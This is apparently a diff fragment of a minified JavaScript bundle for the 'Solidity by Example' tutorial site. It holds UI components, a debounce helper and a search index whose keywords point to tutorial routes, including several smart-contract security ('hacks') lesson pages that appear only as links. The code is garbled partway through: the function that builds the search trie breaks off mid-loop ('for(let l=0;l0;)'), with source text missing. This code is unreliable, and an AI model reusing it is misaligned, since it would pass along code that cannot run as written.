                                                    • @@ -12100,4 +12100,4 @@ echidna EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller return internalFunc(); } } -`,L2=({prev:s,next:a})=>r.jsx(u,{version:E2,title:Q2,description:T2,html:_2,prev:s,next:a,codes:U2}),O2=({size:s,className:a=""})=>r.jsx("svg",{xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor",width:s,height:s,className:a,children:r.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-5.197-5.197m0 0A7.5 7.5 0 105.196 5.196a7.5 7.5 0 0010.607 10.607z"})}),P2="_component_efeb7_1",$2="_icon_efeb7_8",q2="_input_efeb7_12",Ie={component:P2,icon:$2,input:q2},sB=({value:s,onChange:a})=>{function n(l){a(l.target.value)}return r.jsxs("div",{className:Ie.component,children:[r.jsx(O2,{size:18,className:Ie.icon}),r.jsx("input",{className:Ie.input,placeholder:"Search",value:s,onChange:n})]})},aB=({size:s,className:a=""})=>r.jsxs("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 113 113",xmlSpace:"preserve",width:s,height:s,className:a,children:[r.jsx("circle",{cx:56.5,cy:56.5,r:56.5,fill:"#453dff",stroke:"none"}),r.jsx("path",{fill:"#fff",stroke:"none",d:"M68.476 46.383c.454.796 1.36 1.82 2.155 1.82 4.31.227 8.62.113 13.157.113-.567-3.98-2.042-7.392-4.31-10.462-1.361-1.706-1.701-2.957-.34-4.89 1.36-1.82 2.381-4.094 3.63-6.255-3.97-2.274-7.827-4.435-11.797-6.709-1.36 2.274-2.609 4.321-3.743 6.482-.68 1.365-1.36 1.706-2.949 1.478-3.63-.455-7.259-.91-10.888-.682-10.889.682-19.85 7.96-22.798 18.423-3.29 11.94-1.702 22.97 6.805 32.523-1.588 2.843-3.29 5.8-4.99 8.87 4.083 2.275 7.826 4.55 11.795 6.824 1.588-2.73 3.063-5.231 4.424-7.733.68-1.251 1.588-1.365 2.949-1.479 4.65 0 9.3.228 13.724-.682 9.3-1.82 17.354-10.803 18.375-20.128-4.084 0-7.94.113-11.91 0-1.588 0-2.609.455-3.403 1.933-4.537 7.62-15.312 8.87-21.21 2.502-5.557-5.914-5.557-18.764.114-24.677 6.011-6.141 16.56-4.777 21.21 2.729z"})]});var nB="Expected a function",Ro=NaN,lB="[object Symbol]",pB=/^\s+|\s+$/g,eB=/^[-+]0x[0-9a-f]+$/i,cB=/^0b[01]+$/i,tB=/^0o[0-7]+$/i,oB=parseInt,rB=typeof Il=="object"&&Il&&Il.Object===Object&&Il,iB=typeof self=="object"&&self&&self.Object===Object&&self,gB=rB||iB||Function("return this")(),hB=Object.prototype,IB=hB.toString,dB=Math.max,CB=Math.min,de=function(){return gB.Date.now()};function jB(s,a,n){var l,p,e,c,t,o,i=0,I=!1,d=!1,j=!0;if(typeof s!="function")throw new TypeError(nB);a=Xo(a)||0,ic(n)&&(I=!!n.leading,d="maxWait"in n,e=d?dB(Xo(n.maxWait)||0,a):e,j="trailing"in n?!!n.trailing:j);function A(k){var G=l,Y=p;return l=p=void 0,i=k,c=s.apply(Y,G),c}function m(k){return i=k,t=setTimeout(h,a),I?A(k):c}function b(k){var G=k-o,Y=k-i,x=a-G;return d?CB(x,e-Y):x}function B(k){var G=k-o,Y=k-i;return o===void 0||G>=a||G<0||d&&Y>=e}function h(){var k=de();if(B(k))return g(k);t=setTimeout(h,b(k))}function g(k){return t=void 0,j&&l?A(k):(l=p=void 0,c)}function C(){t!==void 0&&clearTimeout(t),i=0,l=o=p=t=void 0}function y(){return t===void 0?c:g(de())}function Z(){var k=de(),G=B(k);if(l=arguments,p=this,o=k,G){if(t===void 0)return m(o);if(d)return t=setTimeout(h,a),A(o)}return t===void 0&&(t=setTimeout(h,a)),c}return Z.cancel=C,Z.flush=y,Z}function ic(s){var a=typeof s;return!!s&&(a=="object"||a=="function")}function uB(s){return!!s&&typeof s=="object"}function AB(s){return typeof s=="symbol"||uB(s)&&IB.call(s)==lB}function Xo(s){if(typeof s=="number")return s;if(AB(s))return Ro;if(ic(s)){var a=typeof s.valueOf=="function"?s.valueOf():s;s=ic(a)?a+"":a}if(typeof s!="string")return s===0?s:+s;s=s.replace(pB,"");var n=cB.test(s);return n||tB.test(s)?oB(s.slice(2),n?2:8):eB.test(s)?Ro:+s}var yB=jB;const mB=Ko(yB),bB={leading:!1,trailing:!0};function wB(s,a,n){return W.useCallback(mB(s,a,bB),n)}function kB(s,a){let n=s;for(let l=0;l0;){const[e,c,t]=a.pop();p&&(l=l.slice(0,c-1),p=!1),l+=e;const o=Object.keys(t);if(o.length>0)for(let i=0;ia+p)}const BB=["/visibility"],GB=["/visibility","/view-and-pure-functions","/sending-ether","/hashing","/function-selector","/function-modifier","/function","/fallback","/delegatecall","/calling-contract","/call"],VB=["/visibility"],fB=["/visibility","/hacks/hiding-malicious-code-with-external-contract"],YB=["/view-and-pure-functions"],RB=["/view-and-pure-functions"],XB=["/variables","/structs","/state-variables","/shadowing-inherited-state-variables","/primitives","/mapping","/immutable","/evm/storage","/ether-units","/enum","/constants","/assembly-variable","/array"],vB=["/variables","/structs","/state-variables","/shadowing-inherited-state-variables","/primitives","/mapping","/immutable","/ether-units","/enum","/constants","/array"],NB=["/variables"],HB=["/variables"],FB=["/variables","/state-variables","/shadowing-inherited-state-variables","/evm/storage"],KB=["/variables","/structs","/primitives","/mapping","/immutable","/hacks/accessing-private-data","/evm/storage","/evm/memory","/ether-units","/enum","/data-locations","/constants","/array","/app/iterable-mapping"],MB=["/unchecked-math","/gas-golf","/gas"],SB=["/unchecked-math"],xB=["/unchecked-math","/assembly-math","/app/assembly-bin-exp"],JB=["/unchecked-math","/hacks/overflow"],zB=["/unchecked-math","/hacks/overflow"],DB=["/try-catch","/error","/assembly-error"],EB=["/try-catch","/error"],QB=["/transient-storage"],TB=["/transient-storage","/hacks/accessing-private-data","/evm/storage","/data-locations","/app/write-to-any-slot"],UB=["/tests/echidna"],_B=["/tests/echidna"],LB=["/super","/calling-contract"],OB=["/super"],PB=["/super","/new-contract","/interface","/inheritance","/hello-world","/hacks/hiding-malicious-code-with-external-contract","/hacks/deploy-different-contracts-same-address","/hacks/contract-size","/first-app","/delegatecall","/constructor","/calling-contract","/call","/app/simple-bytecode-contract","/app/minimal-proxy","/app/deploy-any-contract","/app/create2"],$B=["/super","/new-contract","/interface","/inheritance","/first-app","/delegatecall","/calling-contract","/call"],qB=["/super","/shadowing-inherited-state-variables","/inheritance","/constructor"],sG=["/structs"],aG=["/structs"],nG=["/structs","/primitives"],lG=["/structs","/primitives"],pG=["/state-variables"],eG=["/state-variables"],cG=["/state-variables","/hello-world","/first-app","/app/write-to-any-slot","/app/upgradeable-proxy","/app/uni-directional-payment-channel","/app/time-lock","/app/simple-bytecode-contract","/app/multi-sig-wallet","/app/multi-delegatecall","/app/multi-call","/app/minimal-proxy","/app/merkle-tree","/app/iterable-mapping","/app/gasless-token-transfer","/app/ether-wallet","/app/erc721","/app/erc20","/app/erc1155","/app/english-auction","/app/dutch-auction","/app/deploy-any-contract","/app/crowd-fund","/app/create2","/app/bi-directional-payment-channel"],tG=["/state-variables","/hello-world","/first-app","/app/write-to-any-slot","/app/upgradeable-proxy","/app/uni-directional-payment-channel","/app/time-lock","/app/simple-bytecode-contract","/app/multi-sig-wallet","/app/multi-delegatecall","/app/multi-call","/app/minimal-proxy","/app/merkle-tree","/app/iterable-mapping","/app/gasless-token-transfer","/app/ether-wallet","/app/erc721","/app/erc20","/app/erc1155","/app/english-auction","/app/dutch-auction","/app/deploy-any-contract","/app/crowd-fund","/app/create2","/app/bi-directional-payment-channel"],oG=["/signature","/hashing","/hacks/signature-replay","/app/uni-directional-payment-channel","/app/merkle-tree","/app/bi-directional-payment-channel"],rG=["/signature"],iG=["/signature"],gG=["/signature","/hacks/signature-replay","/app/uni-directional-payment-channel","/app/multi-sig-wallet","/app/bi-directional-payment-channel"],hG=["/signature"],IG=["/signature"],dG=["/shadowing-inherited-state-variables"],CG=["/shadowing-inherited-state-variables"],jG=["/sending-ether"],uG=["/sending-ether","/sending-ether","/payable","/fallback"],AG=["/sending-ether","/payable","/fallback","/ether-units","/app/ether-wallet"],yG=["/sending-ether","/payable","/fallback","/app/ether-wallet"],mG=["/sending-ether","/fallback","/app/gasless-token-transfer"],bG=["/sending-ether","/delegatecall","/calling-contract","/call","/app/multi-call"],wG=["/sending-ether","/fallback"],kG=["/sending-ether","/fallback"],ZG=["/sending-ether","/payable","/fallback"],WG=["/primitives"],BG=["/primitives"],GG=["/primitives"],VG=["/primitives"],fG=["/primitives"],YG=["/primitives","/hacks/deploy-different-contracts-same-address","/app/create2"],RG=["/primitives"],XG=["/primitives"],vG=["/new-contract","/hacks/deploy-different-contracts-same-address"],NG=["/new-contract"],HG=["/new-contract","/hacks/deploy-different-contracts-same-address","/app/create2"],FG=["/new-contract","/hacks/deploy-different-contracts-same-address"],KG=["/mapping","/app/iterable-mapping"],MG=["/loop","/assembly-loop"],SG=["/loop"],xG=["/library"],JG=["/interface"],zG=["/inheritance"],DG=["/inheritance"],EG=["/inheritance"],QG=["/immutable","/defi/constant-sum-amm","/defi/constant-product-amm","/constants"],TG=["/immutable","/constants"],UG=["/immutable"],_G=["/immutable"],LG=["/if-else"],OG=["/if-else"],PG=["/if-else"],$G=["/hello-world"],qG=["/hello-world"],sV=["/hashing"],aV=["/hashing"],nV=["/hashing"],lV=["/hacks/weth-permit","/hacks/vault-inflation","/hacks/signature-replay","/hacks/self-destruct","/hacks/re-entrancy","/hacks/randomness","/hacks/phishing-with-tx-origin","/hacks/overflow","/hacks/honeypot","/hacks/hiding-malicious-code-with-external-contract","/hacks/front-running","/hacks/deploy-different-contracts-same-address","/hacks/denial-of-service","/hacks/delegatecall","/hacks/contract-size","/hacks/block-timestamp-manipulation","/hacks/accessing-private-data"],pV=["/hacks/weth-permit","/hacks/vault-inflation","/hacks/signature-replay","/hacks/self-destruct","/hacks/re-entrancy","/hacks/randomness","/hacks/phishing-with-tx-origin","/hacks/overflow","/hacks/honeypot","/hacks/hiding-malicious-code-with-external-contract","/hacks/front-running","/hacks/deploy-different-contracts-same-address","/hacks/denial-of-service","/hacks/delegatecall","/hacks/contract-size","/hacks/block-timestamp-manipulation","/hacks/accessing-private-data"],eV=["/hacks/weth-permit"],cV=["/hacks/weth-permit","/app/gasless-token-transfer"],tV=["/hacks/vault-inflation"],oV=["/hacks/vault-inflation"],rV=["/hacks/vault-inflation","/defi/vault"],iV=["/hacks/signature-replay"],gV=["/hacks/self-destruct"],hV=["/hacks/randomness"],IV=["/hacks/randomness"],dV=["/hacks/randomness"],CV=["/hacks/randomness"],jV=["/hacks/randomness","/hacks/block-timestamp-manipulation"],uV=["/hacks/randomness","/hacks/block-timestamp-manipulation"],AV=["/hacks/phishing-with-tx-origin"],yV=["/hacks/overflow"],mV=["/hacks/honeypot"],bV=["/hacks/hiding-malicious-code-with-external-contract"],wV=["/hacks/hiding-malicious-code-with-external-contract"],kV=["/hacks/hiding-malicious-code-with-external-contract"],ZV=["/hacks/hiding-malicious-code-with-external-contract"],WV=["/hacks/front-running"],BV=["/hacks/front-running"],GV=["/hacks/deploy-different-contracts-same-address","/app/deploy-any-contract"],VV=["/hacks/deploy-different-contracts-same-address"],fV=["/hacks/deploy-different-contracts-same-address"],YV=["/hacks/denial-of-service"],RV=["/hacks/denial-of-service"],XV=["/hacks/delegatecall","/delegatecall","/app/upgradeable-proxy","/app/multi-delegatecall"],vV=["/hacks/contract-size"],NV=["/hacks/contract-size"],HV=["/hacks/contract-size"],FV=["/hacks/contract-size"],KV=["/hacks/block-timestamp-manipulation"],MV=["/hacks/accessing-private-data"],SV=["/hacks/accessing-private-data"],xV=["/gas-golf"],JV=["/function-selector"],zV=["/function-selector"],DV=["/function-modifier"],EV=["/function-modifier"],QV=["/function-modifier"],TV=["/first-app"],UV=["/first-app"],_V=["/evm/storage","/evm/memory"],LV=["/evm/storage","/evm/memory","/assembly-variable","/assembly-math","/assembly-loop","/assembly-if","/assembly-error","/app/assembly-bin-exp"],OV=["/evm/storage","/evm/memory","/bitwise","/assembly-variable","/assembly-math","/assembly-loop","/assembly-if","/assembly-error","/app/assembly-bin-exp"],PV=["/evm/memory","/data-locations"],$V=["/events"],qV=["/events"],sf=["/ether-units"],af=["/ether-units"],nf=["/error"],lf=["/error","/assembly-error"],pf=["/error"],ef=["/enum"],cf=["/defi/vault","/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash","/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2","/defi/staking-rewards","/defi/stable-swap-amm","/defi/discrete-staking-rewards","/defi/dai-proxy","/defi/constant-sum-amm","/defi/constant-product-amm","/defi/chainlink-price-oracle"],tf=["/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash","/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2"],of=["/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash"],rf=["/defi/uniswap-v3-swap","/defi/uniswap-v3-flash-swap","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2","/defi/stable-swap-amm"],gf=["/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash","/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2","/defi/stable-swap-amm","/defi/constant-sum-amm","/defi/constant-product-amm"],hf=["/defi/uniswap-v3-liquidity","/defi/uniswap-v2-add-remove-liquidity"],If=["/defi/uniswap-v3-flash-swap"],df=["/defi/uniswap-v3-flash","/defi/uniswap-v2-flash-swap"],Cf=["/defi/uniswap-v3-flash"],jf=["/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2"],uf=["/defi/uniswap-v2-optimal-one-sided-supply"],Af=["/defi/uniswap-v2-optimal-one-sided-supply"],yf=["/defi/uniswap-v2-optimal-one-sided-supply"],mf=["/defi/uniswap-v2-optimal-one-sided-supply"],bf=["/defi/uniswap-v2-add-remove-liquidity","/assembly-math"],wf=["/defi/uniswap-v2-add-remove-liquidity"],kf=["/defi/staking-rewards","/defi/discrete-staking-rewards"],Zf=["/defi/staking-rewards","/defi/discrete-staking-rewards"],Wf=["/defi/staking-rewards","/defi/discrete-staking-rewards"],Bf=["/defi/stable-swap-amm"],Gf=["/defi/stable-swap-amm"],Vf=["/defi/discrete-staking-rewards"],ff=["/defi/dai-proxy"],Yf=["/defi/dai-proxy","/app/upgradeable-proxy","/app/minimal-proxy"],Rf=["/defi/constant-sum-amm"],Xf=["/defi/constant-product-amm"],vf=["/defi/chainlink-price-oracle"],Nf=["/defi/chainlink-price-oracle"],Hf=["/defi/chainlink-price-oracle"],Ff=["/defi/chainlink-price-oracle"],Kf=["/data-locations"],Mf=["/data-locations"],Sf=["/data-locations"],xf=["/constructor"],Jf=["/constructor"],zf=["/calling-contract"],Df=["/bitwise"],Ef=["/bitwise"],Qf=["/bitwise"],Tf=["/bitwise"],Uf=["/assembly-math"],_f=["/array"],Lf=["/array"],Of=["/app/write-to-any-slot"],Pf=["/app/write-to-any-slot","/app/deploy-any-contract"],$f=["/app/write-to-any-slot"],qf=["/app/upgradeable-proxy"],s1=["/app/uni-directional-payment-channel","/app/bi-directional-payment-channel"],a1=["/app/uni-directional-payment-channel","/app/bi-directional-payment-channel"],n1=["/app/time-lock"],l1=["/app/time-lock"],p1=["/app/simple-bytecode-contract"],e1=["/app/simple-bytecode-contract"],c1=["/app/multi-sig-wallet","/app/multi-delegatecall","/app/multi-call"],t1=["/app/multi-sig-wallet"],o1=["/app/multi-sig-wallet","/app/ether-wallet"],r1=["/app/multi-call"],i1=["/app/minimal-proxy"],g1=["/app/merkle-tree"],h1=["/app/merkle-tree"],I1=["/app/iterable-mapping"],d1=["/app/gasless-token-transfer"],C1=["/app/gasless-token-transfer","/app/erc20"],j1=["/app/gasless-token-transfer"],u1=["/app/erc721"],A1=["/app/erc721"],y1=["/app/erc721","/app/erc1155"],m1=["/app/erc20"],b1=["/app/erc20"],w1=["/app/erc1155"],k1=["/app/erc1155"],Z1=["/app/english-auction"],W1=["/app/english-auction","/app/dutch-auction"],B1=["/app/english-auction","/app/dutch-auction"],G1=["/app/dutch-auction"],V1=["/app/crowd-fund"],f1=["/app/crowd-fund"],Y1=["/app/crowd-fund"],R1=["/app/create2"],X1=["/app/assembly-bin-exp"],v1=["/app/assembly-bin-exp"],N1=["/abi-encode","/abi-decode"],H1=["/abi-encode"],F1=["/abi-encode","/abi-decode"],K1=["/abi-encode"],M1=["/abi-encode"],S1=["/abi-encode"],x1=["/abi-decode"],vo={visibility:BB,function:["/visibility","/view-and-pure-functions","/sending-ether","/hashing","/function-selector","/function-modifier","/function","/fallback","/delegatecall","/calling-contract","/call"],functions:GB,internal:VB,private:["/visibility","/hacks/accessing-private-data"],public:["/visibility"],external:fB,view:YB,pure:RB,variable:XB,variables:vB,local:NB,global:HB,state:FB,data:KB,gas:MB,unchecked:SB,math:xB,overflow:JB,underflow:zB,try:["/try-catch"],catch:["/try-catch"],error:DB,errors:EB,transient:QB,storage:TB,test:UB,echidna:_B,calling:LB,parent:OB,contract:PB,contracts:$B,inheritance:qB,super:["/super","/inheritance"],struct:sG,structs:aG,type:nG,types:lG,reading:pG,writing:eG,app:cG,application:tG,cryptography:oG,verify:rG,verifying:iG,signature:gG,signatures:hG,ecrecover:IG,shadow:dG,shadowing:CG,sending:jG,send:uG,ether:AG,eth:yG,transfer:mG,call:bG,fallback:wG,receive:kG,payable:ZG,primitive:WG,primitives:BG,boolean:GG,uint256:VG,int256:fG,address:YG,uint:RG,int:XG,new:["/new-contract","/new-contract"],create:vG,creates:NG,create2:HG,salt:FG,mapping:KG,for:["/loop","/assembly-loop"],loop:MG,loops:SG,while:["/loop","/assembly-loop"],do:["/loop"],library:xG,interface:["/interface"],interfaces:JG,override:zG,virtual:DG,is:EG,import:["/import","/enum"],constant:QG,constants:TG,immutable:UG,immutables:_G,if:["/if-else","/assembly-if"],else:["/if-else"],conditional:LG,statement:OG,statements:PG,hello:$G,world:qG,hash:sV,hashing:aV,keccak256:nV,hack:lV,security:pV,weth:eV,permit:cV,inflation:tV,erc4626:oV,vault:rV,replay:iV,selfdestruct:gV,"re-entrancy":["/hacks/re-entrancy"],source:hV,random:IV,randomness:dV,blockhash:CV,block:jV,timestamp:uV,phishing:AV,"tx.origin":["/hacks/phishing-with-tx-origin"],arithmetic:yV,honeypot:mV,hide:bV,hiding:wV,malicious:kV,code:ZV,front:WV,running:BV,deploy:GV,different:VV,same:fV,denial:YV,service:RV,delegatecall:XV,bypass:vV,size:NV,check:HV,extcodesize:FV,manipulation:KV,access:MV,accessing:SV,golf:xV,selector:JV,selectors:zV,modifier:DV,modifiers:EV,_:QV,first:TV,counter:UV,evm:_V,yul:LV,assembly:OV,memory:PV,event:$V,events:qV,wei:sf,units:af,require:nf,revert:lf,assert:pf,enum:["/enum"],imports:ef,defi:cf,uniswap:tf,v3:of,swap:rf,amm:gf,liquidity:hf,arbitrage:If,flash:df,loan:Cf,v2:jf,optimal:uf,one:Af,sided:yf,supply:mf,add:bf,remove:wf,staking:kf,reward:Zf,rewards:Wf,curve:Bf,stable:Gf,discrete:Vf,dai:ff,proxy:Yf,sum:Rf,product:Xf,chainlink:vf,price:Nf,oracle:Hf,oracles:Ff,location:Kf,locations:Mf,calldata:Sf,constructor:xf,constructors:Jf,other:zf,bitwise:Df,most:Ef,significant:Qf,bit:Tf,mul:Uf,switch:["/assembly-if"],array:_f,arrays:Lf,write:Of,any:Pf,slot:$f,upgradeable:qf,"uni-directional":["/app/uni-directional-payment-channel"],payment:s1,channel:a1,time:n1,lock:l1,simple:p1,bytecode:e1,multi:c1,sig:t1,wallet:o1,staticcall:r1,minimal:i1,merkle:g1,tree:h1,iterable:I1,gasless:d1,token:C1,ERC20:j1,erc721:u1,ierc721:A1,nft:y1,erc20:m1,ierc20:b1,erc1155:w1,ierc1155:k1,english:Z1,auction:W1,auctions:B1,dutch:G1,crowd:V1,fund:f1,funding:Y1,precompute:R1,"bi-directional":["/app/bi-directional-payment-channel"],binary:X1,exponentiation:v1,abi:N1,encode:H1,bytes:F1,encodeWithSelector:K1,encodeWithSignature:M1,encodeCall:S1,decode:x1},No={"/visibility":["visibility","function","functions","internal","private","public","external"],"/view-and-pure-functions":["view","pure","function","functions"],"/variables":["variable","variables","local","global","state","data"],"/unchecked-math":["gas","unchecked","math","overflow","underflow"],"/try-catch":["try","catch","error","errors"],"/transient-storage":["transient","storage"],"/tests/echidna":["test","echidna"],"/super":["calling","parent","contract","contracts","inheritance","super"],"/structs":["struct","structs","data","type","types","variable","variables"],"/state-variables":["reading","writing","state","variable","variables","app","application"],"/signature":["cryptography","verify","verifying","signature","signatures","ecrecover"],"/shadowing-inherited-state-variables":["state","variables","variable","shadow","shadowing","inheritance"],"/sending-ether":["sending","send","ether","eth","transfer","send","call","fallback","receive","payable","function","functions"],"/primitives":["primitive","primitives","data","type","types","variable","variables","boolean","uint256","int256","address","uint","int"],"/payable":["payable","eth","send","ether"],"/new-contract":["new","contract","create","contracts","creates","new","create2","salt"],"/mapping":["data","variable","variables","mapping"],"/loop":["for","loop","loops","while","do"],"/library":["library"],"/interface":["interface","interfaces","contract","contracts"],"/inheritance":["inheritance","super","override","virtual","is","contract","contracts"],"/import":["import"],"/immutable":["constant","constants","immutable","immutables","data","variable","variables"],"/if-else":["if","else","conditional","statement","statements"],"/hello-world":["contract","app","application","hello","world"],"/hashing":["hash","hashing","function","functions","keccak256","cryptography"],"/hacks/weth-permit":["hack","security","weth","permit"],"/hacks/vault-inflation":["hack","security","inflation","erc4626","vault"],"/hacks/signature-replay":["hack","security","cryptography","signature","replay"],"/hacks/self-destruct":["hack","security","selfdestruct"],"/hacks/re-entrancy":["hack","security","re-entrancy"],"/hacks/randomness":["hack","security","source","random","randomness","blockhash","block","timestamp"],"/hacks/phishing-with-tx-origin":["hack","security","phishing","tx.origin"],"/hacks/overflow":["hack","security","arithmetic","overflow","underflow"],"/hacks/honeypot":["hack","security","honeypot"],"/hacks/hiding-malicious-code-with-external-contract":["hack","security","hide","hiding","malicious","code","external","contract"],"/hacks/front-running":["hack","security","front","running"],"/hacks/deploy-different-contracts-same-address":["hack","security","deploy","salt","create","create2","different","contract","same","address"],"/hacks/denial-of-service":["hack","security","denial","service"],"/hacks/delegatecall":["hack","security","delegatecall"],"/hacks/contract-size":["hack","security","bypass","contract","size","check","extcodesize"],"/hacks/block-timestamp-manipulation":["hack","security","block","timestamp","manipulation"],"/hacks/accessing-private-data":["hack","security","access","accessing","private","data","storage"],"/gas-golf":["gas","golf"],"/gas":["gas"],"/function-selector":["function","functions","selector","selectors"],"/function-modifier":["function","functions","modifier","modifiers","_"],"/function":["function","functions"],"/first-app":["contract","contracts","app","first","application","counter"],"/fallback":["fallback","function","functions","receive","payable","send","ether","eth","transfer"],"/evm/storage":["data","evm","storage","state","variable","yul","assembly"],"/evm/memory":["data","evm","memory","yul","assembly"],"/events":["event","events"],"/ether-units":["data","variables","variable","ether","wei","units"],"/error":["error","errors","require","revert","assert"],"/enum":["data","variable","variables","enum","import","imports"],"/delegatecall":["delegatecall","call","contract","contracts","function","functions"],"/defi/vault":["defi","vault"],"/defi/uniswap-v3-swap":["defi","uniswap","v3","swap","amm"],"/defi/uniswap-v3-liquidity":["defi","uniswap","v3","liquidity","amm"],"/defi/uniswap-v3-flash-swap":["defi","uniswap","v3","swap","arbitrage","amm"],"/defi/uniswap-v3-flash":["defi","uniswap","v3","flash","loan","amm"],"/defi/uniswap-v2-optimal-one-sided-supply":["defi","uniswap","v2","optimal","one","sided","supply","amm"],"/defi/uniswap-v2-flash-swap":["defi","uniswap","v2","flash","swap","amm"],"/defi/uniswap-v2-add-remove-liquidity":["defi","uniswap","v2","add","remove","liquidity","amm"],"/defi/uniswap-v2":["defi","uniswap","v2","swap","amm"],"/defi/staking-rewards":["defi","staking","reward","rewards"],"/defi/stable-swap-amm":["defi","curve","stable","swap","amm"],"/defi/discrete-staking-rewards":["defi","discrete","staking","reward","rewards"],"/defi/dai-proxy":["defi","dai","proxy"],"/defi/constant-sum-amm":["defi","constant","sum","amm"],"/defi/constant-product-amm":["defi","constant","product","amm"],"/defi/chainlink-price-oracle":["defi","chainlink","price","oracle","oracles"],"/data-locations":["data","location","locations","storage","memory","calldata"],"/constructor":["constructor","constructors","contract","inheritance"],"/constants":["constant","constants","data","variable","variables"],"/calling-contract":["calling","other","contract","contracts","call","function","functions"],"/call":["contract","contracts","call","function","functions"],"/bitwise":["bitwise","most","significant","bit","assembly"],"/assembly-variable":["assembly","variable","yul"],"/assembly-math":["assembly","yul","math","add","mul"],"/assembly-loop":["assembly","loop","yul","while","for"],"/assembly-if":["assembly","yul","if","switch"],"/assembly-error":["assembly","yul","error","revert"],"/array":["data","variable","variables","array","arrays"],"/app/write-to-any-slot":["app","application","write","any","slot","storage"],"/app/upgradeable-proxy":["app","application","delegatecall","upgradeable","proxy"],"/app/uni-directional-payment-channel":["app","application","uni-directional","payment","channel","signature","cryptography"],"/app/time-lock":["app","application","time","lock"],"/app/simple-bytecode-contract":["app","application","simple","bytecode","contract"],"/app/multi-sig-wallet":["app","application","multi","sig","signature","wallet"],"/app/multi-delegatecall":["app","application","multi","delegatecall"],"/app/multi-call":["app","application","multi","call","staticcall"],"/app/minimal-proxy":["app","application","minimal","proxy","contract"],"/app/merkle-tree":["app","application","merkle","tree","cryptography"],"/app/iterable-mapping":["app","application","mapping","data","iterable"],"/app/gasless-token-transfer":["app","application","gasless","token","transfer","ERC20","permit"],"/app/ether-wallet":["app","application","ether","eth","wallet"],"/app/erc721":["app","application","erc721","ierc721","nft"],"/app/erc20":["app","application","erc20","ierc20","token"],"/app/erc1155":["app","application","erc1155","nft","ierc1155"],"/app/english-auction":["app","application","english","auction","auctions"],"/app/dutch-auction":["app","application","dutch","auction","auctions"],"/app/deploy-any-contract":["app","application","deploy","any","contract"],"/app/crowd-fund":["app","application","crowd","fund","funding"],"/app/create2":["app","application","create2","precompute","contract","address"],"/app/bi-directional-payment-channel":["app","application","bi-directional","payment","channel","signature","cryptography"],"/app/assembly-bin-exp":["assembly","yul","binary","exponentiation","math"],"/abi-encode":["abi","encode","bytes","encodeWithSelector","encodeWithSignature","encodeCall"],"/abi-decode":["abi","decode","bytes"]},jg=[];for(const s of Object.keys(No))jg.push(...No[s]);const ug={};for(const s of jg)kB(ug,s);function J1(s){return Array.from(new Set(s))}function z1(s){const a=[],n=WB(ug,s.toLowerCase());for(const l of n)vo[l]&&a.push(...vo[l]);return a}const D1="_component_ri31z_1",E1="_updates_ri31z_8",Q1="_category_ri31z_13",T1="_search_ri31z_16",U1="_listItem_ri31z_20",_1="_label_ri31z_28",L1="_header_ri31z_31",O1="_youTube_ri31z_34",P1="_youTubeLogo_ri31z_40",$1="_cryptoJobsList_ri31z_44",q1="_cryptoJobsListLogo_ri31z_50",as={component:D1,updates:E1,category:Q1,search:T1,listItem:U1,label:_1,header:L1,youTube:O1,youTubeLogo:P1,cryptoJobsList:$1,cryptoJobsListLogo:q1},sY=["2024/04/19 - EVM memory","2024/04/07 - Fix WETH permit hack","2024/04/06 - EVM storage"];function aY(){const[s,a]=W.useState(""),[n,l]=xd(),[p,e]=W.useState(null);W.useEffect(()=>{const I=n.get("q");I!=null&&I.length>0&&(a(I),c(I,!1))},[]);function c(I,d){const j=I.trim();if(j.length==0){e(null),d&&l({q:""});return}const A=J1(j.split(" ")),m={};for(const b of A){const B=z1(b);for(const h of B)m[h]=!0}e(m),d&&l({q:j})}const t=wB(I=>c(I,!0),500,[]);function o(I){a(I),t(I)}function i(){return p?Object.keys(p).length==0?r.jsx("div",{children:"No results"}):r.jsx("ul",{className:as.list,children:Cp.filter(({path:I})=>p[I]).map(({path:I,title:d})=>r.jsx("li",{className:as.listItem,children:r.jsx("a",{href:I,children:d})},I))}):r.jsxs(r.Fragment,{children:[ot.map(({routes:I,title:d},j)=>r.jsxs("div",{children:[d&&r.jsx("h3",{className:as.category,children:d}),r.jsx("ul",{className:as.list,children:I.map(({path:A,title:m})=>r.jsx("li",{className:as.listItem,children:r.jsx("a",{href:A,children:m})},A))})]},j)),r.jsxs("div",{children:[r.jsx("h3",{className:as.category,children:"Translations"}),Od.map(({lang:I,url:d})=>r.jsx("li",{className:as.listItem,children:r.jsx("a",{href:d,target:"__blank",children:I})},d))]})]})}return r.jsxs("div",{className:as.component,children:[r.jsx(Cg,{title:"Solidity by Example | 0.8.24",description:"Learn smart contract programming using Solidity"}),r.jsx("h1",{className:as.header,children:r.jsx("a",{href:"/",children:"Solidity by Example"})}),r.jsx("div",{className:as.subHeader,children:"v 0.8.24"}),r.jsxs("div",{className:as.main,children:[r.jsxs("p",{children:["Introduction to ",r.jsx("a",{href:"https://solidity.readthedocs.io",children:"Solidity"})," with simple examples"]}),r.jsxs("div",{className:as.youTube,children:[r.jsx("img",{src:dg,alt:"logo",className:as.youTubeLogo}),r.jsx("a",{href:"https://www.youtube.com/@smartcontractprogrammer",target:"__blank",children:"Most code are explained 